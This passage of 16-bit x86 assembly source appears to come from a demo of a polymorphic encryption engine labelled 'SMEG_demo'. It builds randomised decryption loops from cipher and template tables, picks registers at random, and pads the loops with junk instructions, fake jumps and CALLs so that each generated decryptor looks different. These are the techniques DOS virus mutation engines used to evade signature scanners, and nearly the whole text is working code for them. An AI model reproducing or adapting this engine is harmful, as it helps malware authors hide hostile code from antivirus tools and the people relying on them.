                ; MOV reg0,CS                   (1)
                ; MOV DS,reg0                   (2)
                ; beginning of loop             (0)
                ; PUSH [reg7+offset]            (08)
                ; POP reg0                      (0B)
                ; XCHG reg2,reg0                (0C)
                ; XOR reg2,reg0                 (F)
                ; MOV [reg7+offset],reg2        (6)
                ; MOV reg2,reg1                 (8)
                ; DEC reg1                      (D)
                ; DEC reg0                      (03)
                ; INC reg2                      (0D)
                ; INC reg2                      (0D)
                ; INC reg2                      (0D)
                ; XCHG reg2,reg0                (0C)
                ; MOV reg1,reg0                 (0E)
                ; ADD reg7,1                    (04)
                ; AND reg1,reg1                 (0F)
                ; done                          (-1)
                ; return code 0                 (0)
                db      0E3,40,0C1,20,0,80,0B0,0CF,68,0D0,30,0D0,0D0,0D0,0C0
                db      0E0,40,0F0,-1,0

crypt_table     dw      offset crypt0
                dw      offset crypt1
                dw      offset crypt2
                dw      offset crypt3
                dw      offset crypt4
                dw      offset crypt5
                dw      offset crypt6
                dw      offset crypt7

jmp_table       dw      offset jmp0
                dw      offset jmp1
                dw      offset jmp2
                dw      offset jmp3

routine_table:  dw      offset routine0
                dw      offset routine1
                dw      offset routine2
                dw      offset routine3
                dw      offset routine4
                dw      offset routine5
                dw      offset routine6
                dw      offset routine7
                dw      offset routine8
                dw      offset routine9
                dw      offset routineA
                dw      offset routineB
                dw      offset routineC
                dw      offset routineD
                dw      offset routineE
                dw      offset routineF

encrypt:        cld
                push    bx si
                mov     bl,[bp.crypt_type]      ; get encryption type
                db      83,0E3,0F ; and bx,0F
                add     bx,bx
                add     bx,offset crypt_table   ; convert to offset
                mov     di,[bp.targetptr]       ; set up loop
                mov     si,[bp.sourceptr]
                mov     cx,[bp.datasize]
                mov     dl,[bp.cryptval]
encrypt_byte:   lodsb
                call    word ptr [bx]
                stosb
                loop    encrypt_byte
                pop     si bx
                retn

crypt0:         xor     al,dl
                inc     dl
                retn

crypt2:         xor     dl,al
                mov     al,dl
                dec     dl
                retn

crypt3:         not     al
crypt4:         xor     al,dl
                inc     dl
                inc     dl
                retn

crypt1:         xor     al,dl
                neg     al
                dec     dl
                dec     dl
                retn

crypt5:         add     al,dl
                inc     dl
                retn

crypt6:         sub     al,dl
                dec     dl
                retn

crypt7:         xor     al,dl
                dec     dl
                retn

counterinit0:   neg     ax
counterinit1:   retn

counterinit2:   neg     ax
counterinit3:   add     ax,ax
                retn

counterinit4:   neg     ax
counterinit5:   mov     cx,ax
                add     ax,ax
                add     ax,cx
                retn

counterinit6:   neg     ax
counterinit7:   add     ax,ax
                add     ax,ax
                retn

jmp0:           mov     al,0E9                  ; encode a JMP
                stosb                           ; (with word offset)
                mov     ax,di                   ; calculate offset to
                sub     ax,[bp.loop_top]        ; top of decryption loop
                inc     ax                      ; adjust for jmp instruction
                inc     ax
                neg     ax                      ; adjust for going back instead
                retn                            ; of forwards

jmp1:           mov     ax,0E0FF                ; encode JMP register
                or      ah,[si]
                retn

jmp2:           mov     ax,0C350                ; encode PUSH/RETn
jmpXdone:       or      al,[si]
                retn

jmp3:           mov     al,0E                   ; encode PUSH CS
                stosb
                call    garble_some             ; garble a bit
                mov     ax,0CB50                ; encode PUSH reg/RETN
                jmp     short jmpXdone

encode_routine: call    rnd_get                 ; pick a random routine
                mov     bx,offset routine_table ; to use
                and     ax,0F
                add     ax,ax
                add     bx,ax
                mov     si,[bx]
                lodsb                           ; get the first byte
                mov     [bp.crypt_type],al      ; and save it
                jmp     short encode_routine2   ; keep going...

encode_it:      lodsb                           ; get the next byte
                cmp     ah,-1                   ; are we done?
                je      use_as_is               ; if so, exit
                xor     bh,bh                   ; convert AL to
                add     al,al                   ; offset in encode_table
                mov     bl,al
                add     bx,offset encode_table
                mov     al,dh
                mov     cx,3
                call    word ptr [bx]           ; call the routine
                xchg    ah,al
                stosb                           ; write the resulting byte
use_as_is:      retn

fill_mod_field: ror     al,cl
fill_field:     and     al,7                    ; get the register # al
                mov     bx,bp
                db      83,0C3,06 ; add bx,6
                xlat
                rol     al,cl
                and     cl,cl                   ; encoding rm or reg?
                jnz     not_memory              ; branch if doing rm
                test    dh,40                   ; memory access?
                jz      not_memory
                cmp     al,3                    ; using bx?
                jne     not_BX
                mov     al,7                    ; change it to di
                jmp     short not_memory
not_BX:         cmp     al,6                    ; is it si?
                jb      not_memory
                sub     al,2                    ; change it to double register
not_memory:     or      ah,al
                retn

fill_reg_reg1:  ror     al,cl                   ; [reg], reg
fill_reg_field: xor     cl,cl                   ; fill bottom 3 bits only
                jmp     short fill_field

fill_mod_n_reg: call    fill_mod_field          ; fill mod field as usual
                mov     al,dh                   ; fill reg field with the
                jmp     short fill_reg_field    ; register that holds the
                                                ; data to be decrypted
fill_reg_reg2:  call    fill_field
                mov     al,dh
                jmp     short fill_reg_reg1

encode_routine2:mov     word ptr [bp.which_tbl],offset encode_tbl1 - 6
process_all:    lodsb                           ; get a byte
                cmp     al,-1                   ; are we at the end?
                jne     process_byte            ; no, keep going
                lodsb                           ; else get returncode and exit
                retn

process_byte:   push    si ax
                mov     cl,4
                call    process_nibble
                xor     cl,cl
                pop     ax
                call    process_nibble
                pop     si
                jmp     short process_all

process_nibble: ror     al,cl                   ; only use the part of
                and     ax,0F                   ; the byte that we want
                jnz     no_switch_table
                and     cl,cl                   ; if the lower half of byte=0,
                jz      switch_tables           ; switch tables
                mov     [bp.loop_top],di        ; otherwise save this location
                retn                            ; as the top of the loop

switch_tables:  mov     word ptr [bp.which_tbl],offset encode_tbl2 - 6
                retn

no_switch_table:push    ax
                call    garble_more
                pop     ax
                add     ax,ax                   ; calculate AX*6+[bp.which_tbl]
                mov     bx,ax
                add     ax,ax
                add     ax,bx
                add     ax,[bp.which_tbl]
                mov     word ptr [bp.which_tbl],offset encode_tbl1 - 6
                xchg    si,ax
                lodsb
                mov     dh,al                   ; dh holds first byte
                lodsb
                xchg    ah,al                   ; ah holds second byte
                call    encode_it               ; process it
                lodsb                           ; now ah holds the next byte
                xchg    ah,al
                call    encode_it               ; process it

                lodsb                           ; get the next byte
                mov     dl,al                   ; it tells us which
                and     ax,0F                   ; value to write in
                add     ax,ax                   ; this is the modifier
                add     ax,offset write_table   ; i.e. pointer, encryption
                xchg    bx,ax                   ; value, etc.
                jmp     word ptr [bx]

write_nothing:  retn

write_cryptval: mov     al,[bp.cryptval]
                stosb
                retn

write_pointer_patch:    ; save location of pointer initialisation
                mov     [bp.pointer_patch],di
                stosw
                retn

write_counter_patch:    ; save location of counter initialisation
                mov     [bp.counter_patch],di
                stosw
                retn

write_ptr_offset:       ; write XXXX of [bx+XXXX]
                mov     ax,[bp.ptr_offsets]
                mov     [bp.pointer_fixup],ax
                stosw
                retn

write_dl:       mov     al,dl                   ; write lower half of top
                mov     cl,4                    ; byte of dl as a word
                shr     al,cl                   ; used as amount to increment
                and     ax,0F
                stosw
                retn

garble_some:    push    si
                mov     dx,3                    ; garble 2-5 times
                call    multiple_garble
                pop     si
                retn

garble_more:    mov     dx,7
multiple_garble:call    rnd_get
                and     ax,dx
                inc     ax
                inc     ax
                xchg    cx,ax
garble_again:   push    cx                      ; save garble count
                call    garble_once             ; garble
                pop     cx                      ; restore garble count
                loop    garble_again

                cmp     [bp.cJMP_patch],cx      ; cJMP_patch == 0? i.e. is
                je      skip_finish_cJMP        ; there an unfinished cJMP?
                call    finish_cJMP             ; if so, finish it
skip_finish_cJMP:call   many_nonbranch_garble   ; garble garble
                mov     bx,[bp.nJMP_patch]      ; check if pending nJMP
                and     bx,bx
                jnz     loc_0047                ; if so, keep going
                retn
loc_0047:                                       ;  xref 4028:0996
                mov     al,0C3                  ; encode a RETN
                stosb
                mov     ax,di
                sub     ax,bx
                dec     ax
                dec     ax
                mov     [bx],ax
                mov     [bp.CALL_patch],bx
                mov     word ptr [bp.nJMP_patch],0

many_nonbranch_garble:
                call    rnd_get                 ; do large instruction
                and     ax,3                    ; garble from 3 to 6 times
                add     al,3
                xchg    cx,ax
many_nonbranch_garble_loop:
                push    cx
                call    not_branch_garble
                pop     cx
                loop    many_nonbranch_garble_loop

                retn

; finish_cJMP simply encodes a few instructions between the conditional
; jmp and its target, and then sets the destination of the jmp to be after
; the inserted instructions.
finish_cJMP:    mov     ax,di                   ; get current location
                mov     bx,[bp.cJMP_patch]      ; get previous location
                sub     ax,bx
                dec     al                      ; calculate offset
                jnz     go_patch_cJMP           ; if nothing in between,
                call    not_branch_garble       ; fill in some instructions
                jmp     short finish_cJMP       ; and do this again
go_patch_cJMP:  cmp     ax,7F                   ; are we close enough?
                jbe     patch_cJMP              ; if so, finish this now
                xor     al,al                   ; if not, encode cJMP $+2
patch_cJMP:     mov     [bx],al                 ; patch the cJMP destination
                mov     word ptr [bp.cJMP_patch],0 ; clear usage flag
                retn

set_reg_mask:   and     cl,0F8                  ; clear bottom 3 bits
                mov     bx,bp
                db      83,0C3,6 ; add bx,6
                mov     dh,7                    ; assume one of 8 registers
                test    dl,4                    ; can we use any register?
                jnz     set_reg_mask_exit       ; if so, quit
                db      83,0C3,3 ; add bx,3     ; otherwise, set mask so we
                mov     dh,3                    ; only choose from regs 3-6
set_reg_mask_exit:
                retn

choose_register:call    rnd_get                 ; get random number
                xor     ah,ah                   ; clear high byte
                and     al,dh                   ; use mask from set_reg_mask
                add     bx,ax
                mov     al,[bx]                 ; get the register number
                test    ch,1                    ; byte or word register?
                jnz     choose_reg_done         ; if word, we are okay
                test    byte ptr [si-2],4       ; otherwise, check if we can
                jnz     choose_reg_done         ; take only half the register
                mov     ah,al                   ; uh oh, we can't, so...
                and     al,3                    ; is it one of the garbage
                cmp     al,[bp+9]               ; registers?
                mov     al,ah                   ; if so, we are done
                jz      choose_reg_done
                mov     al,[bp+9]
                cmp     al,4                    ; ax,cx,dx, or bx?
                jb      werd                    ; to yer muthah!
                pop     ax                      ; pop off return location
                retn                            ; go to caller's caller

werd:           and     ah,4                    ; make either byte or word
                or      al,ah                   ; register
choose_reg_done:retn

garble_once:    call    rnd_get
                cmp     ah,0C8                  ; randomly go to either
                jbe     other_garble            ; here ...
                jmp     branch_garble           ; ... or here

not_branch_garble:
                call    rnd_get
other_garble:   cmp     al,0F0
                jbe     larger_instr            ; mostly do larger instructions
                jmp     do_one_byte             ; 1/16 chance

larger_instr:   and     ax,1F                   ; normalise random number
                cmp     al,[bp.lastgarble]      ; is it the same as before?
                je      not_branch_garble       ; then try again, since we
                                                ; don't want two of the same
                                                ; sort in a row
                mov     [bp.lastgarble],al      ; else remember this one
                add     ax,ax                   ; and process it
                add     ax,offset garble_table
                xchg    si,ax
                lodsw                           ; get table entry
                xchg    cx,ax                   ; keep it in CX
                mov     dl,cl                   ; pick out the bottom
                and     dl,3                    ; mask out low 2 bits
                call    rnd_get
                and     al,3                    ; this line unnecessary
                and     al,dl                   ; patch it into the top
                or      ch,al                   ; byte for variable opcodes
                                                ; (e.g. allows byte & word
                                                ;  forms of opcode to use the
                                                ;  same table entry)
                mov     dl,cl
                and     dl,0C0                  ; mask out mod field
                cmp     dl,0C0                  ; does it indicate register
                mov     dl,cl                   ; operation? i.e. 2 regs
                jz      no_memory               ; if so, branch
                call    set_reg_mask            ; otherwise, process memory
                call    rnd_get                 ; and register operation
                and     al,0C0                  ; clear all but top 2 bits
                or      cl,al                   ; fill in the field
                rol     al,1
                rol     al,1
                mov     dl,al
                call    rnd_get                 ; generate the registers to use
                and     al,7                    ; in memory access,i.e. [bx+si]
                or      cl,al                   ; patch into 2nd byte of instr
                cmp     dl,3
                je      fill_in_rm
                cmp     al,6
                jne     force_byte
                mov     dl,2                    ; alter mask to choose AX or DX
                and     cl,3F
                jmp     short fill_in_rm

force_byte:     and     ch,not 1                ; change to byte data
                                                ; "byte sized"
fill_in_rm:     call    choose_register         ; move register into
                shl     al,1                    ; the rm field
                shl     al,1
                shl     al,1
finish_larger:  or      cl,al                   ; combine data
                xchg    cx,ax                   ; move it to the right register
                xchg    ah,al                   ; reverse byte order
                stosw                           ; write the instruction
                and     dl,dl                   ; needs data bytes?
                jnz     needs_data
                retn

needs_data:     cmp     dl,3                    ; check length of instruction
                jne     do_data_bytes
                retn

do_data_bytes:  call    rnd_get                 ; keep the random number
                and     al,3F                   ; under 40h
                stosb                           ; write the byte
                dec     dl                      ; decrement bytes to write
                jnz     do_data_bytes
                retn

no_memory:      call    set_reg_mask
                call    choose_register
                mov     ah,ch                   ; get the opcode and clear the
                and     ah,0FE                  ; size bit for now
                cmp     ah,0F6
                jne     not_NOT_NEG
                test    cl,10                   ; is it TEST instruction?
                jz      not_NOT_NEG             ; if it is, go find the number
                                                ; of data bytes it needs, else
                                                ; it is NOT or NEG, so there're
no_data_bytes:  xor     dl,dl                   ; no data bytes
                jmp     short finish_larger

not_NOT_NEG:    and     ah,0FC                  ; is it a shift or rotate?
                cmp     ah,0D0
                jne     set_data_length         ; if not, calculate # data
                                                ; bytes needed, else
                jmp     short no_data_bytes     ; we don't need any

set_data_length:test    ch,1                    ; byte or word of data?
                mov     dl,2                    ; assume word
                jnz     finish_larger           ; continue if so
                dec     dl                      ; DEC DX is better!!!
                jmp     short finish_larger     ; otherwise adjust to data

do_one_byte:    and     al,7
                mov     bx,offset onebyte_table
                xlat
                cmp     al,48                   ; DEC?
                je      inc_or_dec
                cmp     al,40                   ; or INC?
                jne     encode_1byte
inc_or_dec:     mov     cl,al
                call    rnd_get                 ; get a garbage register
                and     al,3
                mov     bx,bp                   ; can we say "lea", boys and
                db      83,0C3,9 ; add bx,9     ; girls?
                xlat                            ; look up the register
                or      al,cl                   ; fill in the register field
encode_1byte:   stosb
                retn

branch_garble:  cmp     word ptr [bp.cJMP_patch],0 ; is there an unfinished
                je      no_pending_cJMP         ; conditional jmp?
                jmp     finish_cJMP             ; if so, finish it

no_pending_cJMP:call    rnd_get
                cmp     ah,6E
                ja      do_near_JMP
do_cond_jmp:    and     al,0F                   ; encode a conditional
                or      al,70                   ; jmp
                stosb
                mov     [bp.cJMP_patch],di      ; save target offset
                stosb
                retn

do_near_JMP:    cmp     word ptr [bp.nJMP_patch],0 ; is there an unfinished
                jne     do_cond_jmp             ; near JMP pending?
                call    rnd_get                 ; if not, encode one
                cmp     al,78                   ; either just jmp past
                jbe     encode_CALL             ; or call it too
                mov     al,0E9                  ; encode near JMP
                stosb
                mov     [bp.nJMP_patch],di      ; save location to patch
                stosw
                call    rnd_get
                cmp     al,0AA
                jbe     forward_CALL
go_not_branch_garble:
                jmp     not_branch_garble

forward_CALL:   cmp     word ptr [bp.last_CALL],0 ; is there a garbage CALL
                je      go_not_branch_garble    ; we can patch?
                push    di                      ; if there is, patch the CALL
                xchg    di,ax                   ; for here so there are CALLs
                dec     ax                      ; forwards as well as back-
                dec     ax                      ; wards
                mov     di,[bp.last_CALL]
                sub     ax,di
                stosw
                pop     di
                jmp     not_branch_garble

encode_CALL:    cmp     word ptr [bp.CALL_patch],0 ; is there one pending?
                je      do_cond_jmp
                mov     al,0E8                  ; encode a CALL
                stosb
                cmp     word ptr [bp.last_CALL],0
                je      store_CALL_loc
                call    rnd_get                 ; 1/2 chance of replacing
                and     al,7                    ; it (random so it's not
                cmp     al,4                    ; too predictable)
                jae     fill_in_offset
store_CALL_loc: mov     [bp.last_CALL],di       ; save ptr to CALL offset
fill_in_offset: mov     ax,di                   ; calculate CALL offset
                sub     ax,[bp.CALL_patch]
                neg     ax
                stosw
                retn

rnd_init:       mov     ah,2C                   ; get time
                int     21

                mov     ax,3E1
                mul     dx
                add     ax,cx
                xchg    cx,ax
                in      ax,40                   ; timer port
                add     ax,cx
                mov     [bp.rng_buffer],ax
                retn


rnd_get:        push    bx cx dx
                mov     ax,[bp.rng_buffer]
                mov     cx,3E1
                mul     cx
                mov     cx,ax
                xor     dx,dx
                mov     bx,35
                div     bx
                add     dx,cx
                js      no_fix_seed1
                in      ax,40                   ; port 40, 8253 timer 0 clock
                add     dx,ax
no_fix_seed1:   cmp     dx,[bp.rng_buffer]
                jne     no_fix_seed2
                neg     dx
                in      ax,40                   ; port 40, 8253 timer 0 clock
                xor     dx,ax
no_fix_seed2:   mov     [bp.rng_buffer],dx
                xchg    dx,ax
                pop     dx cx bx
                retn
heap:

data_area       db      02dh dup (?)
target_area:

                end     SMEG_demo
